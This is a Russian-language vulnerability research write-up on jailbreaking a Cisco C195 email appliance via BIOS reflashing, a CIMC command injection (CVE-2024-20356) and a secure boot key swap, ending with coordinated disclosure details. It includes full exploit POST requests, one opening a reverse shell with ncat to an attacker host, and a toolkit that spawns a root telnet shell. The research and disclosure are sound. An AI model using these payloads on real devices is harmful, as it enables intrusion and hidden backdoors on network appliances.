Джейлбрейкаем Cisco, чтобы запустить DOOM

Cisco C195 обеспечивает безопасность электронной почты. Это устройство выступает в качестве SMTP-шлюза на границе сети. Оно (и весь спектр устройств Cisco) надежно защищено и не позволяет выполнять неавторизованный код.

Недавно я разобрал одно из таких устройств, чтобы приспособить его под сервер общего назначения. В онлайн-обсуждениях многие люди писали, что невозможно обойти защищённую загрузку и запустить на нём другие операционные системы, потому что это не предусмотрено разработчиками из соображений безопасности.

В этой статье я расскажу, как выполнил джейлбрейк семейства устройств Cisco C195, чтобы запускать на нем произвольный код. В частности, я объясню, как обнаружил уязвимость в body management controller CIMC, затрагивающую широкий спектр устройств. С помощью этой уязвимости аутентифицированный пользователь с высокими привилегиями может получить рут-доступ к BMC сервера (CVE-2024-20356), который сам по себе имеет высокоуровневый доступ к другим компонентам системы. Моей конечной целью был запуск DOOM — если на это способен умный холодильник, то почему не сможет Cisco?

Полный тулкит для выявления и эксплойта этой уязвимости я выложил на GitHub: https://github.com/nettitude/CVE-2024-20356

Взлом BIOS

Под капотом Cisco C195 находится сервер C220 M5. Он используется как основа самого разного оборудования. Первоначальный продукт адаптируют под конкретные потребности. Сама по себе эта методика хорошо известна: это вполне разумный способ создания большой линейки продуктов из одного надёжного дизайна. Хотя такой подход имеет свои преимущества, он приводит к тому, что любые недостатки базовой конструкции или ПО проявятся во множестве разных типов устройств.

C195 — это устройства размера 1U, предназначенное для работы с электронной почтой. На нём работает расположенное на двух дисках ПО Cisco. Я хотел использовать его для другой цели, но не смог из-за ограничений, препятствующих загрузке неавторизованного программного обеспечения. Это хорошая мера безопасности, но она уменьшает способы применения железа.

Взглянув на устройство, сразу и не поймёшь, что это Cisco UCS C220 M5. Только после снятия крышки по нескольким отметкам видишь истинное имя сервера. Более того, открутив крышку с задней части устройства, можно увидеть разъём VGA. Там же расположено ещё несколько портов, в том числе Console (Cisco Serial) и RPC (CIMC). Порт RPC был подключён к сети, но устройство не отвечало.

После запуска оборудования отображается AMI BIOS с логотипом Cisco. Сама конфигурация заблокирована, а многие опции настройки отключены. В устройстве реализована надёжная система безопасной загрузки: возможно исполнение только одобренных Cisco файлов ESA/Cisco Appliance EFI.

Здесь можно много говорить о том, что именно я пробовал сделать, но если вкратце, то мне практически ничего не удалось модифицировать или запустить.

Первой целью в этой цепочке атак стал BIOS. Мне было интересно посмотреть, как разные версии BIOS влияют на работу устройства. Новые функции часто приводят к появлению новых поверхностей атаки, которые могут предоставить новые векторы для исследования.

В устройстве используется устаревшая версия BIOS. Некоторые инструменты для обновления BIOS не смогли запуститься из-за фиксированной конфигурации безопасной загрузки. Я попробовал множество разных версий BIOS: выпаял чип флэш-памяти, обновлял BIOS и устанавливал чип обратно на плату. Чтобы упростить процесс, я изготовил на материнской плате самодельный сокет и небольшое место для монтирования чипа, чтобы можно было легко перепрошивать устройство на лету. Это было особенно важно при длительном считывании и наблюдении за данными, записываемыми на флэш-память, и за способом их хранения.

Всего в устройстве есть три чипа: нижняя зелёная флэш-память используется для CIMC/BMC, средняя с красной меткой — это основная флэш-память BIOS, а верхняя (частично не попавшая в кадр) — это резервная флэш-память BIOS.

CH431A — это очень мощный и при этом недорогой программатор, мультитул для хакинга IoT (с модификацией на 3,3 В). Его ядро предназначено для работы в качестве SPI-программатора, но также имеет интерфейс UART. Можно подключаться к совместимым с SPI чипам флэш-памяти с целевой платы и использовать программатор для взаимодействия с устройством. Также есть возможность сделать полный бэкап этого чипа, чтобы, если что-то пойдет не так, вы смогли восстановить исходное состояние. Кроме того, вы можете вмешаться в микросхему и записать в неё данные.

На скриншоте ниже показан процесс чтения среднего флэш-чипа при помощи flashrom и CH341A. На этом этапе важно сделать копию прошивки, а лучше две или три, и хранить исходные версии в безопасном месте с хэшами MD5.

UEFITool — это удобный инструмент для визуализации различных частей современного UEFI BIOS. Он предоставляет информацию о различных разделах и их функциях. В последних версиях появилась возможность просмотра защищенных областей Intel BootGuard, что особенно важно при атаках.

К слову о вмешательстве в работу BIOS: почему мы просто не можем заменить BIOS на версию, в которой не включена безопасная загрузка, есть ключи, позволяющие запускать другие файлы EFI или бэкдор для запуска нашего собственного кода? Сложность кроется в Intel BootGuard. Это не очень известная, но хорошая функция продуктов на основе процессоров Intel. По сути, это безопасная загрузка для самого BIOS. Публичные ключи прошиты в CPU с помощью встроенных предохранителей. Эти ключи можно использовать для валидации загружаемой прошивки. Об Intel BootGuard можно говорить довольно долго, но чтобы статья не стала слишком длинной, просто скажу, что это аппаратный корень доверия (root of trust), не позволяющий напрямую модифицировать части прошивки. Стоит отметить, что сюда не включается весь флэш-чип, потому что он также применяется для хранения пользовательской конфигурации/данных, которые не так просто подписать.

Я скачал последний ISO прошивки и извлек файл .cap BIOS.

Файл .cap содержит заголовок длиной 2048 байтов с важной информацией о прошивке. Она считывается встроенными инструментами обновления BIOS для того, чтобы убедиться, что все правильно. После удаления заголовка файл нужно распаковать при помощи bzip2.

Образ обновления BIOS содержит информацию, которая будет помещена в область BIOS. Мы не можем напрямую прошивать файл bios.cap на флэш-чип, так как отсутствуют важные разделы, в частности, раздел Intel ME.

У самого файла .cap есть другой заголовок 0x10D8 (4312), который можно удалить при помощи шестнадцатеричного редактора или DD.

Файл обновления и оригинальный BIOS должны быть похожи в начале. Однако в файле обновления отсутствуют важные разделы.

Чтобы обновить только то, что находилось в области BIOS, можно скопировать файл обновления с 0x1000000 (16777216) и дальше на флэш-файл в том же месте. Для этого можно использовать DD, взяв первую половину прошивки, вторую половину обновления и объединив их вместе.

Оригинальная прошивка должна совпадать по размеру с обновленной прошивкой.

Чтобы подстраховаться, мы можем проверить получившийся файл при помощи UEFITool на отсутствие серьезных ошибок. На скриншоте ниже видно, что всё выглядит хорошо, а UUID для новых томов в области BIOS были обновлены.

Точно так же, как был получен дамп флэш-памяти, можно записать обратно обновленный образ.

После обновления BIOS до последней версии становятся доступны новые возможности. На экране BIOS теперь появилась опция конфигурирования CIMC! У нас получилось! Увы, мы всё равно не можем вносить существенные изменения в конфигурацию, отключить безопасную загрузку или загрузить собственный код.

Тем временем я обнаружил, что CIMC настроен на статический IP-адрес 0.0.0.0. Это объясняет, почему раньше с ним не получалось взаимодействовать. Зададим другой IP-адрес, получив таким образом новую поверхность атаки.

CIMC (Cisco Integrated Management Console) — это небольшой встроенный body management controller (BMC) на основе ASPEED Pilot 4. Это контроллер удалённого управления устройством, который можно использовать, как KVM и решение для управления питанием. В этой реализации он предназначен для работы с базовыми функциями системы, такими как управление питанием, кулерами и так далее.

По умолчанию в CIMC используется имя пользователя admin и пароль cisco. CIMC может находиться на выделенном интерфейсе или использовать встроенные NIC. CIMC имеет полный контроль над BIOS, периферийными чипами, CPU и множеством других систем, работающих в C195/C220.

На этом этапе пользователь может обновлять CIMC до последней версии и вносить изменения в конфигурацию. При этом отключить процесс безопасной загрузки и выполнять любой другой код, за исключением подписанной операционной системы Cisco Appliance, по-прежнему невозможно. Несмотря на то что у нас была возможность настроить ключи безопасной загрузки, они не работали, как и любые критические изменения конфигурации. На дашборде CIMC опознавал устройство как C195.

На этом этапе можно обновлять CIMC до других версий при помощи инструмента обновления или прошивки.

CVE-2024-20356: Command Injection

ISO, содержащий обновления BIOS, также содержал и копию прошивки CIMC.

Эта прошивка, как и BIOS, достаточно общая и предназначена для базовой модели устройства C220. Она может определить модель устройства и вносить соответствующие изменения, например, блокировать отдельные фичи или делать доступными новые функции. Это экономит время на производстве, так как одну хорошую сборку прошивки можно без особых проблем использовать на широком спектре устройств.

Так как эта прошивка рассчитана на работу со множеством типов устройств, в процессе изучения мы заметили несколько интересных файлов и фич.

В файле cimc.bin, расположенном в /firmware/cimc/, содержится множество информации.

Для изучения этой информации можно использовать инструмент binwalk. На высоком уровне binwalk ищет в файлах паттерны для выявления местоположения потенциальных встроенных файлов, файловых систем или данных. Кроме того, при помощи этого инструмента также можно извлекать информацию. На скриншоте ниже показана стандартная встроенная система uBoot Linux, в которой для хранения корневой файловой системы применена сжатая файловая система squashfs.

При исследовании этих файловых систем нашлось несколько любопытных файлов. Библиотека, расположенная по адресу /usr/local/lib/appweb/liboshandler.so, использовалась для обработки запросов к веб-серверу. В этом файле содержатся отладочные обозначения, облегчающие понимание структуры классов и предназначения функций. Библиотека была декомпилирована при помощи Ghidra.

Выяснилось, что функция ExpFwUpdateUtilityThread, являющаяся частью ExpUpdateAgent, подвержена уязвимости инъецирования команд. Ввод пользователя валидируется, однако допускаются символы, которые можно использовать для исполнения команд вне предполагаемой области определения приложения.

/* ExpFwUpdateUtilityThread(void*) */ 

void * ExpFwUpdateUtilityThread(void *param_1) 

{ 
  int iVar1; 
  ProcessingException *pPVar2; 
  undefined4 uVar3; 
  char *pcVar4; 
  bool bVar5; 
  undefined auStack192 [92]; 
  basic_string<char,std::char_traits<char>,std::allocator<char>> abStack100 [24];

Функция ExpFwUpdateUtilityThread вызывается из API-запроса к expRemoteFwUpdate. Она принимает четыре параметра и, судя по всему, обеспечивает возможность обновления прошивки с контроллеров или дисков. Параметр path валидируется по списку допустимых символов, содержащему $, ( and  ). Функция выполняет форматирование строки с пользовательскими данными для следующей строки: curl -o %s %s://%s/%s %s. После успешной валидации переданных пользователем данных отформатированная строка передается в system_secure(), которая выполняет дополнительную проверку. Однако она тоже допускает символы, которые можно использовать для инъекции команд путем подстановки.

/* ExpFwUpdateUtilityThread(void*) */ 
if (local_24 == 0) { 
    iVar1 = strcmp(var_param_type,"tftp"); 
    if ((iVar1 == 0) || (iVar1 = strcmp(var_param_type,"http"), iVar1 == 0)) { 
      memset(&DAT_001a3798,0,0x200); 
      snprintf(&DAT_001a3798,0x200,"curl -o %s %s://%s/%s %s","/tmp/fwimage.bin",var_param_type, 
               var_host,var_path,local_48); 
      iVar1 = system_check_user_input(var_host,"general_rule"); 
      if ((iVar1 == 0) || 
         ((iVar1 = system_check_user_input(var_param_type,"general_rule"), iVar1 == 0 || 
          (iVar1 = system_check_user_input(var_path,"general_rule"), iVar1 == 0)))) { 
        bVar5 = true; 
      } 
      else { 
        bVar5 = false; 
      } 
      if (bVar5) { 
        pPVar2 = (ProcessingException *)__cxa_allocate_exception(0xc); 
        ProcessingException::ProcessingException(pPVar2,"Parameters are invalid"); 
                    /* WARNING: Subroutine does not return */ 
        __cxa_throw(pPVar2,&ProcessingException::typeinfo,ProcessingException::~ProcessingException); 
      } 

      set_status(1,"DOWNLOADING",'',local_2c,local_28); 
      system_secure(&DAT_001a3798); 
    }

Показанная ниже функция вызывается для проверки входных данных на соответствие списку разрешенных символов.

undefined4 system_check_user_input(undefined4 param_1,char *param_2)
{
    int iVar1;
    char *local_1c;
    undefined4 local_18;
    char *local_14;
    undefined4 local_10;
    undefined4 local_c;x
    
    local_c = 0xffffffff;
    iVar1 = strcmp(param_2,"password_rule");
    if (iVar1 == 0) {
        local_1c =
        " !"#$&'()*+,-./0123456789:;=>@ABCDEFGHIJKLMNOPQRSTUVWXYZ\_abcdefghijklmnopqrstuvwxyz{|}";
        local_18 = 0x57;
        local_c = FUN_000d8120(param_1,&local_1c);
}

Хотя функция ExpFwUpdateUtilityThread выполняет некоторые проверки пользовательского ввода, дополнительные проверки выполняются с помощью другого списка разрешенных символов.

undefined4 system_secure(undefined4 param_1)
{
    undefined4 uVar1;
    char *local_10;
    undefined4 local_c;
    
    local_10 =
    " !"#$&'()*+,-./0123456789:;=>@ABCDEFGHIJKLMNOPQRSTUVWXYZ\_abcdefghijklmnopqrstuvwxyz{|}";
    local_c = 0x57;
    uVar1 = system_secure_ex(param_1,&local_10);
    return uVar1;
}

Функция system_secure вызывает system_secure_ex, которая после прохождения валидации выполняет предоставленную команду с помощью system().

int system_secure_ex(char *param_1,undefined4 param_2) 

{ 
  int iVar1; 
  int local_c; 

  local_c = -1; 
  iVar1 = FUN_000d8120(param_1,param_2); 
  if (iVar1 == 1) { 
    local_c = system(param_1); 
  } 
  else { 
    syslog(3,"%s:%d:ERR: The given command is not secured to run with system()n","systemsecure.c ", 
           0x98); 
  } 
  return local_c; 
}

Мы можем воспользоваться знаниями, полученными из вышеупомянутой библиотеки, и применить их в попытке использовать эту уязвимость. Это можно сделать, применив $(echo $USER), чтобы заменить текст для текущего имени пользователя. Сама функция предназначена для выполнения запроса curl с целью скачивания обновлений прошивок со стороннего ресурса. Мы можем воспользоваться этой функциональностью для ввода нашей команды.

Для демонстрации инъекции можно использовать следующий запрос:

set=expRemoteFwUpdate("1", "http","192.168.0.96","/$(echo $USER)")

Его можно поместить в POST-запрос к https://CIMC/data с администраторскими sessionCookie и sessionID.

POST /data HTTP/1.1
Host: 192.168.0.102
Cookie: sessionCookie=ef4eb2e3b0[REDACTED]
Content-Length: 189
Content-Type: application/x-www-form-urlencoded
Referer: https://192.168.0.102/index.html

sessionID=2132002102bb[REDACTED]&queryString=set%253dexpRemoteFwUpdate(%25221%2522%252c%2520%2522http%2522%252c%2522192.168.0.96%2522%252c%2522%252f%2524(echo%2520%2524USER)%2522)

Это показано на скриншоте ниже.

После отправки запроса вывод команды получает веб-сервер злоумышленника.

Наличие внутреннего системного доступа к Cisco Integrated Management Console представляет существенную угрозу из-за нарушения конфиденциальности, целостности и доступности. При таком уровне доступа злоумышленник может считывать, модифицировать и перезаписывать информацию на работающей системе, поскольку CIMC имеет высокий уровень доступа ко всему устройству. Более того, внутренний доступ предоставляется и самой прошивке, так что злоумышленник может внедрить в прошивку бэкдор, не позволяющий пользователям обнаружить, что устройство скомпрометировано. Наконец, в случае модификации прошивки может пострадать доступность, потому что устройство может быть повреждено и перестать загружаться без восстановления.

Можно сделать ещё один шаг вперед и получить полный обратный shell из BMC при помощи следующего запроса:

set=expRemoteFwUpdate("1", "http","192.168.0.96","/$(ncat 192.168.0.96 1337 -e /bin/sh)")

В полноценном запросе это будет выглядеть так:

POST /data HTTP/1.1
Host: 192.168.0.102
Cookie: sessionCookie=05f0b903b0[REDACTED]
Content-Length: 228
Content-Type: application/x-www-form-urlencoded
Referer: https://192.168.0.102/index.html

sessionID=1e310e110fb[REDACTED]&queryString=set%253dexpRemoteFwUpdate(%25221%2522%252c%2520%2522http%2522%252c%2522192.168.0.96%2522%252c%2522%252f%2524(ncat%2520192.168.0.96%25201337%2520-e%2520%252fbin%252fsh)%2522)

Это показано на скриншоте:

Затем можно получить полный root во внутреннем BMC на порту 1337. На скриншоте ниже это продемонстрировано на примере отображения текущего пользователя, версии и типа CPU.

Примечание: чтобы получить sessionCookie и sessionID, пользователь должен войти как администратор при помощи стандартных учетных данных admin и password. sessionCookie можно извлечь из заголовков ответов, а sessionID — из тела ответа в разделе <sidValue>.

Итак, теперь у нас есть возможность исполнять команды в CIMC. На следующем этапе мы автоматизируем процесс, чтобы упростить путь к нашей конечной цели — запуску DOOM.

На данном этапе мы имеем дело со слепой инъекцией команд. Для внедрения данных нам нужно использовать команду curl. Это подходит при коротком вводе, но при превышении длины URL или при включении необычных символов могут возникать проблемы.

Еще один способ внедрения информации был обнаружен при помощи записи в web root файла с определенным именем, чтобы он совпал с regex внутри конфигурации nginx.

Показанный ниже раздел в конфигурации используется для передачи только определенных файлов из папки web root. В них входят стандартные документы наподобие index.html, 401.html, 403.html и так далее. Имя файла in.html соответствует этому regex и при этом пока не используется.

Тулкит использует это свойство для получения вывода команд. Вывод команд записывается в /usr/local/www/in.html.

CVE-2024-20356: тулкит эксплойта

Для автоматизации этого процесса я создал инструмент под названием CISCown, позволяющий проверить наличие уязвимости, использовать ее и даже открыть службу telnetd root shell.

Набор эксплойтов принимает несколько параметров:

• -t TARGET

• -u USERNAME

• -p PASSWORD

• -v VERBOSE (получает больше информации о CIMC)

• -a ACTION

  • test пытается использовать инъецирование команд, передавая случайное число в in.html и считывая его

  • cmd исполняет команду (если указан параметр -c, то применяется по умолчанию)

  • shell исполняет busybox telnetd -l /bin/sh -p 23

  • dance включает «световое шоу»

• -c CMD

Тулкит выложен на GitHub:

GitHub:https://github.com/nettitude/CVE-2024-20356

Ниже показано несколько примеров использования инструмента.

Тестирование наличия уязвимости:

Использование уязвимости при помощи команды id:

Использование уязвимости командой cat /proc/cpuinfo для проверки CPU:

Использование уязвимости для получения полного telnet shell:

Использование уязвимости для танцев (да, это есть в тулките):

Компрометация цепочки безопасной загрузки

Теперь у нас есть root-доступ к BMC, но мы по-прежнему не можем запускать собственный код на основном сервере. Даже изменив параметры в BIOS и на веб-странице администрирования CIMC, мы не можем исполнять файлы EFI, не подписанные ключами Cisco Appliance.

Показанное ниже меню запуска содержит всего одно загрузочное устройство — оболочку EFI.

Если подключить USB-накопитель, устройство выдает предупреждение о нарушении Secure Boot Violation и возвращается к оболочке EFI.

Невозможно даже использовать оболочку EFI для загрузки неподписанных Cisco файлов EFI.

Опция отключения безопасной загрузки по-прежнему недоступна.

Как правило, безопасная загрузка основана на четырех ключевых базах данных:

• db – Signatures Database – база данных разрешенных подписей

• dbx – Forbidden Signatures Database – база данных отозванных подписей

• kek – Key Exchange Key – ключи, используемые для подписывания db и dbx

• pk – Platform Key – ключ верхнего уровня для безопасной загрузки.

Само устройство содержит ключи db только для авторизованных приложений/файлов EFI Cisco Appliance. Это означает, что существуют ограничения на то, что устройство может загружать, включая модули EFI. Были проведены некоторые исследования того, как устройство обрабатывает безопасную загрузку и цепочку доверия.

Чтобы скомпрометировать цепочку безопасной загрузки, нам нужно найти способ или отключить безопасную загрузку, или использовать собственные базы данных ключей. В спецификации UEFI указано, что производители могут хранить эти ключи в различных местах, в том числе в самой флэш-памяти BIOS, в TPM или на внешних источниках.

Во время изучения CIMC и BMC я обнаружил интересный скрипт, исполняемый при запуске. Смысл этого сценария заключается в подготовке BIOS с соответствующими базами данных и настройками безопасной загрузки.

Скрипт определяет перечень конкретных мест для различных профилей, поддерживаемых CIMC.

Когда скрипт запускается, устройство получает текущее значение PID. В нашем случае это было C195, то есть модель устройства. Обратите внимание, что приведенный ниже скрипт сначала пытается получить значение из /tmp/pid_validated, а если не может найти этот файл, то считывает PID из FRU управления платформой. Это будет значение C195, которое затем сохраняется в /tmp/pid_validated.

Затем скрипт сравнивает PID со всеми поддерживаемыми профилями.

Он делает это для каждого типа профиля, определённого в начале скрипта. Эти профили содержат все базы данных ключей безопасной загрузки, включая PK, KEK, DB и DBX.

Проверка берет PID C195 и передаёт его is_stbu_rel, в котором есть небольшой regex-шаблон для определения типа устройства. Если они совпадают, то конфигурируются различные переменные и вызывается update_pers_data для задания используемого профиля безопасной загрузки. Далее BIOS использует этот профиль в качестве хранилища ключей для защищенной загрузки.

Цепочка доверия здесь имеет следующий вид:

• FRU -> BMC со значениями PID

• BMC -> BIOS с ключами безопасной загрузки

Так как мы скомпрометировали BMC, можно перехватывать или модифицировать этот процесс при помощи собственных PID или ключей. Создав или перезаписав файл /tmp/pid_validated, мы можем обманом заставить bios_secure_vars_setup.sh думать, что он работает на каком-то другом устройстве, и предоставить другой набор ключей.

Приведенный ниже пример демонстрирует смену устройства на профиль ND-NODE-L4, поддерживающий более широкий спектр допустимых модулей EFI и вендоров.

ВАЖНО: НА ЭТОМ ЭТАПЕ ВЫПОЛНИТЕ РЕЗЕРВНОЕ КОПИРОВАНИЕ BIOS!

Сначала выключите устройство и и убедитесь, что вы сделали резервную копию BIOS. Это важный шаг, потому что запись ключей безопасной загрузки, не разрешающих запуск базовых компонентов, может не позволить устройству запускаться (по сути, «окирпичив» его)

PID имеет значение C195.

В файл /tmp/pid_validated перезаписан новый PID ND-NODE-L4.

Скрипт bios_secure_vars_setup.sh запущен заново, чтобы повторно инициализировать окружение защищенной загрузки.

Затем устройство можно снова включить. При включении устройства с контроллеров Ethernet стало доступно несколько других загрузочных устройств. Это хороший знак, поскольку он означает, что было загружено больше модулей EFI.

Диспетчер загрузочных устройств или оболочку EFI можно использовать для загрузки с внешнего накопителя, содержащего совместимую с UEFI операционную систему. В моём случае использовался USB-накопитель, подключенный к разъему на задней части устройства.

Вместо ошибки «доступ запрещен» был успешно загружен bootx64.efi и запустилась Ubuntu; это показывает, что теперь на Cisco C195 Email Appliance работает нестандартный код.

А теперь перейдём к нашей основной цели:

Следуя этой цепочке атак, можно запустить на устройстве Cisco DOOM. Полный путь выглядит так:

• Модифицируем BIOS, чтобы раскрыть CIMC для сети.

• Атакуем систему управления CIMC по сети при помощи уязвимости удаленного исполнения команд (CVE-2024-20356), чтобы получить рут-доступ к критическому компоненту системы.

• Компрометируем цепочку безопасной загрузки, модифицируя PID устройства так, чтобы оно использовало другие ключи безопасной загрузки.

Для защиты от этой уязвимости стоит придерживаться следующих рекомендаций:

• Сменить стандартные учетные данные и поддерживать строгую парольную политику.

• Обновить устройство до версии, которая патчит CVE-2024-20356.

Раскрытие уязвимости

Хотя запуск DOOM на устройстве Cisco Appliance — это очень крутая возможность, использованная уязвимость представляет угрозу конфиденциальности, целостности доступности данных, хранящихся и обрабатываемых на сервере. Сама проблема может использоваться для создания бэкдора на машине и запуска неавторизованного кода. Это особенно серьезно, учитывая то, что body management controller имеет высокий уровень доступа ко всему устройству.

В статье исследовался продукт C195/C220 M5 - CIMC 4.2(3e), однако поскольку прошивка применяется во множестве разных устройств, эта уязвимость может повлиять на широкий спектр продуктов. Полный список можно найти на сайте Cisco:

https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cimc-cmd-inj-bLuPcb

Я сообщил Cisco о проблеме 6 декабря 2023 года, а её рассмотрение началось 7 декабря 2023 года. Cisco PSIRT ответил менее чем через 24 часа после сообщения и сразу начал работать над исправлением. Публикация уязвимости была согласована на 17 апреля 2024 года, а поставщик присвоил CVE-2024-20356 высокий рейтинг критичности (рейтинг CVSS 8.7). Я бы хотел поблагодарить Тодда Рейда, Эмбер Хёрст, Мика Бьюкенана и Марко Кассини из Cisco за сотрудничество в устранении этой проблемы.